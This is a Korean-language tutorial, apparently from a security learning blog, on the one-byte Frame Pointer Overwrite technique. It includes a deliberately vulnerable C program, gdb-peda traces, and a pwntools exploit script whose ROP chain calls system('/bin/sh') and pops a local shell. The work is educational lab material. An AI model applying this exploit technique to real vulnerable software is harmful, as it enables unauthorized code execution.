Excuse the ads! We need some help to keep our site up.
List
Frame Pointer Overwrite(One-byte Overflow)
- Frame Pointer Overwrite란 Frame point에 1byte를 덮어써서 프로그램의 실행 흐름을 제어하는 것입니다.
LEAVE, LEAVE instruction
- 해당 취약성은 다음과 같은 구조에서 발생합니다.
vuln() 함수에서 Overflow로 인해 main() 함수의 Frame Pointer를 1 byte 변경 할 수 있습니다.
vuln() 함수가 종료 될 때 변경된 Frame Pointer는 leave 명령어에 의해 RBP 레지스터에 저장됩니다.
main() 함수가 종료 될 때 RBP 레지스터에 저장된 Frame Pointer는 leave 명령어에 의해 RSP 레지스터에 저장됩니다.
- 즉, 이로 인해 ret 명령어에 의해 이동할 영역을 변경 할 수 있습니다.
- 공격하는 형태는 Frame faking과 동일 합니다.
- 단, Frame faking은 Return Address 영역까지 Overflow 했으나, FPO는 Frame Pointer의 1 byte를 Overwrite 합니다.
LEAVE, LEAVE instruction
lazenca0x0@ubuntu:~/Exploit/FPO$ gdb -q ./fpo Reading symbols from ./fpo...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0000000000400706 <+0>: push rbp 0x0000000000400707 <+1>: mov rbp,rsp ... 0x0000000000400760 <+90>: call 0x4005c0 <read@plt> 0x0000000000400765 <+95>: nop 0x0000000000400766 <+96>: leave 0x0000000000400767 <+97>: ret End of assembler dump. gdb-peda$ disassemble main Dump of assembler code for function main: 0x0000000000400768 <+0>: push rbp 0x0000000000400769 <+1>: mov rbp,rsp ... 0x0000000000400796 <+46>: call 0x400706 <vuln> 0x000000000040079b <+51>: nop 0x000000000040079c <+52>: leave 0x000000000040079d <+53>: ret End of assembler dump. gdb-peda$
Proof of concept
Example code
- 다음 코드를 이용하여 Frame Pointer Overwrite의 동작을 확인하겠습니다.
- 해당 프로그램은 Stack address, Libc address를 출력합니다.
- Stack address: buf
- Libc address: printf_addr
- read()함수를 이용해 사용자로 부터 49개의 문자를 입력 받습니다.
- 이로 인해 Frame pointer영역에 1byte를 Overwrite 할 수 있습니다.
- 해당 프로그램은 Stack address, Libc address를 출력합니다.
fpo.c
//gcc -fno-stack-protector -o fpo fpo.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> #include <stdlib.h> void vuln(){ char buf[32]; printf("buf[32] address : %p\n",buf); void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 49); } void main(int argc, char *argv[]){ if(argc<2){ printf("argv error\n"); exit(0); } vuln(); }
Overwriting the Frame Pointer
다음과 같이 Break pointer를 설정합니다.
0x40070a: vuln() 함수에서 사용 할 Fream Pointer를 RBP 레지스터에 저장한 후
0x400766: vuln() 함수에서 leave 명령어 호출
0x40079c: main() 함수에서 leave 명령어 호출
Breakpoints
lazenca0x0@ubuntu:~/Exploit/FPO$ gdb -q ./fpo Reading symbols from ./fpo...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0000000000400706 <+0>: push rbp 0x0000000000400707 <+1>: mov rbp,rsp 0x000000000040070a <+4>: sub rsp,0x30 0x000000000040070e <+8>: lea rax,[rbp-0x30] 0x0000000000400712 <+12>: mov rsi,rax 0x0000000000400715 <+15>: mov edi,0x400824 0x000000000040071a <+20>: mov eax,0x0 0x000000000040071f <+25>: call 0x4005b0 <printf@plt> 0x0000000000400724 <+30>: mov esi,0x40083a 0x0000000000400729 <+35>: mov rdi,0xffffffffffffffff 0x0000000000400730 <+42>: call 0x4005f0 <dlsym@plt> 0x0000000000400735 <+47>: mov QWORD PTR [rbp-0x8],rax 0x0000000000400739 <+51>: mov rax,QWORD PTR [rbp-0x8] 0x000000000040073d <+55>: mov rsi,rax 0x0000000000400740 <+58>: mov edi,0x400841 0x0000000000400745 <+63>: mov eax,0x0 0x000000000040074a <+68>: call 0x4005b0 <printf@plt> 0x000000000040074f <+73>: lea rax,[rbp-0x30] 0x0000000000400753 <+77>: mov edx,0x31 0x0000000000400758 <+82>: mov rsi,rax 0x000000000040075b <+85>: mov edi,0x0 0x0000000000400760 <+90>: call 0x4005c0 <read@plt> 0x0000000000400765 <+95>: nop 0x0000000000400766 <+96>: leave 0x0000000000400767 <+97>: ret End of assembler dump. gdb-peda$ disassemble main Dump of assembler code for function main: 0x0000000000400768 <+0>: push rbp 0x0000000000400769 <+1>: mov rbp,rsp 0x000000000040076c <+4>: sub rsp,0x10 0x0000000000400770 <+8>: mov DWORD PTR [rbp-0x4],edi 0x0000000000400773 <+11>: mov QWORD PTR [rbp-0x10],rsi 0x0000000000400777 <+15>: cmp DWORD PTR [rbp-0x4],0x1 0x000000000040077b <+19>: jg 0x400791 <main+41> 0x000000000040077d <+21>: mov edi,0x400858 0x0000000000400782 <+26>: call 0x4005a0 <puts@plt> 0x0000000000400787 <+31>: mov edi,0x0 0x000000000040078c <+36>: call 0x4005e0 <exit@plt> 0x0000000000400791 <+41>: mov eax,0x0 0x0000000000400796 <+46>: call 0x400706 <vuln> 0x000000000040079b <+51>: nop 0x000000000040079c <+52>: leave 0x000000000040079d <+53>: ret End of assembler dump. gdb-peda$ p/d 0x31 $1 = 49 gdb-peda$ b *0x000000000040070a Breakpoint 1 at 0x40070a gdb-peda$ b *0x0000000000400766 Breakpoint 2 at 0x400766 gdb-peda$ b *0x000000000040079c Breakpoint 3 at 0x40079c gdb-peda$
- 다음과 같이 Frame Pointer의 정보를 확인 할 수 있습니다.
- vuln() 함수에서 사용 할 Frame Pointer 주소는 0x7fffffffe430 입니다.
- 해당 영역에는 다음과 같은 정보가 저장되어 있습니다.
- 0x00007fffffffe450 : main() 함수의 Frame Pointer
- 0x40079b: vuln() 함수 종료 후 이동할 Return Address
- vuln() 함수에서 사용 할 Frame Pointer 주소는 0x7fffffffe430 입니다.
Check Frame Pointer of vuln() function
gdb-peda$ r AAAAAAAA Starting program: /home/lazenca0x0/Exploit/FPO/fpo AAAAAAAA Breakpoint 1, 0x000000000040070a in vuln () gdb-peda$ i r rbp rbp 0x7fffffffe430 0x7fffffffe430 gdb-peda$ x/2gx 0x7fffffffe430 0x7fffffffe430: 0x00007fffffffe450 0x000000000040079b gdb-peda$
- 다음과 같이 Frame Pointer 영역의 Overwrite를 확인 할 수 있습니다.
- 문자 49개를 입력하여 main() 함수의 Frame Pointer 주소 값이 1byte 변경되었습니다.
- 0x00007fffffffe450 → 0x00007fffffffe447
- 해당 값은 leave 명령어에 의해 RBP 레지스터에 저장됩니다.
- 문자 49개를 입력하여 main() 함수의 Frame Pointer 주소 값이 1byte 변경되었습니다.
Overwrite to Frame Pointer of main() function
gdb-peda$ c Continuing. buf[32] address : 0x7fffffffe400 Printf() address : 0x7ffff785e800 AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGG Breakpoint 2, 0x0000000000400766 in vuln () gdb-peda$ i r rbp rbp 0x7fffffffe430 0x7fffffffe430 gdb-peda$ x/2gx 0x7fffffffe430 0x7fffffffe430: 0x00007fffffffe447 0x000000000040079b gdb-peda$ ni 0x0000000000400767 in vuln () gdb-peda$ i r rbp rbp 0x7fffffffe447 0x7fffffffe447 gdb-peda$
- 다음과 같이 코드 흐름의 변경을 확인 할 수 있습니다.
- leave 명령어로 인해 RBP 레지스터의 값은 RSP 레지스터에 저장되며, 이로 인해 프로그램의 흐름이 변경될 수 있습니다.
- ret 명령어 실행 전 RSP 레지스터의 값이 0x7fffffffe44f 인 이유는 leave 명령어 내에서 pop rbp 명령어를 처리했기 때문입니다.
- leave : pop ebp = 0x7fffffffe447 → 0x7fffffffe44f
- ret 명령어 실행 전 RSP 레지스터의 값이 0x7fffffffe44f 인 이유는 leave 명령어 내에서 pop rbp 명령어를 처리했기 때문입니다.
- 즉, 1 byte를 변경하여 RTL 코드 또는 Shellcode가 저장된 영역을 가리킬수 있다면 코드의 흐름을 변경 할 수 있습니다.
- leave 명령어로 인해 RBP 레지스터의 값은 RSP 레지스터에 저장되며, 이로 인해 프로그램의 흐름이 변경될 수 있습니다.
Change the flow of code
gdb-peda$ c Continuing. Breakpoint 3, 0x000000000040079c in main () gdb-peda$ i r rbp rbp 0x7fffffffe447 0x7fffffffe447 gdb-peda$ x/2gx 0x7fffffffe447 0x7fffffffe447: 0x0000020000000000 0x000000004007a000 gdb-peda$ ni 0x000000000040079d in main () gdb-peda$ i r rsp rsp 0x7fffffffe44f 0x7fffffffe44f gdb-peda$ x/gx 0x7fffffffe44f 0x7fffffffe44f: 0x000000004007a000 gdb-peda$ x/gx 0x7fffffffe400 0x7fffffffe400: 0x4141414141414141 gdb-peda$
Exploit
Exploit.py
from pwn import * p = process(['./fpo','AAAA']) p.recvuntil('buf[32] address : ') tmp = p.recvuntil('\n') onebyte = int(tmp[12:14],16) p.recvuntil('Printf() address : ') libc = p.recvuntil('\n') libc = int(libc,16) libcBase = libc - 0x55800 sysAddr = libcBase + 0x45390 exit = libcBase + 0x3a030 binsh = libcBase + 0x18cd57 poprdi = 0x00400803 print "Stack Addr : " + tmp print "onebyte : " + hex(onebyte) print "libc base : " + hex(libcBase) print "system() : " +hex(sysAddr) print "exit() : " +hex(exit) print "binsh : " + hex(binsh) exploit = '\x90' * 8 exploit += p64(poprdi) exploit += p64(binsh) exploit += p64(sysAddr) exploit += '\x90' * (48 - len(exploit)) exploit += p64(onebyte) p.send(exploit) p.interactive()
python Exploit.py (successful)
lazenca0x0@ubuntu:~/Exploit/FPO$ python Exploit.py [+] Starting local process './fpo': pid 7690 Stack Addr : 0x7ffee7488fa0 onebyte : 0xa0 libc base : 0x7f9cf3294000 system() : 0x7f9cf32d9390 exit() : 0x7f9cf32ce030 binsh : 0x7f9cf3420d57 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
다음과 같은 상황이 발생 할 수 있습니다.
RTL 코드가 저장된 영역과 Frame Pointer의 뒤에서 3번째 자리의 수가 다르면 공격에 성공 할 수 없습니다.
즉, 다음과 같은 환경(주소)에서는 FPO 공격이 성공 할 수 없습니다.
buf[32] Address : 0x7ffff7e7c3b0
Frame Pointer address of main() function : 0x7ffff7e7c3b0 + 0x50 = 0x7ffff7e7c400
python Exploit.py (failure)
lazenca0x0@ubuntu:~/Exploit/FPO$ python Exploit.py [+] Starting local process './fpo': pid 7554 Stack Addr : 0x7ffff7e7c3b0 onebyte : 0xb0 libc base : 0x7fc5c5157000 system() : 0x7fc5c519c390 exit() : 0x7fc5c5191030 binsh : 0x7fc5c52e3d57 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ [*] Interrupted [*] Process './fpo' stopped with exit code -11 (SIGSEGV) (pid 7554) lazenca0x0@ubuntu:~/Exploit/FPO$
Related site
- http://phrack.org/issues/55/8.html
- https://stackoverflow.com/questions/1147623/trying-to-understand-the-main-disassembly-first-instructions
- https://gcc.gnu.org/onlinedocs/gcc-5.5.0/gcc/x86-Options.html#x86-Options
- https://gcc.gnu.org/bugzilla/show_bug.cgi?id=38496
- https://gcc.gnu.org/bugzilla/show_bug.cgi?id=27537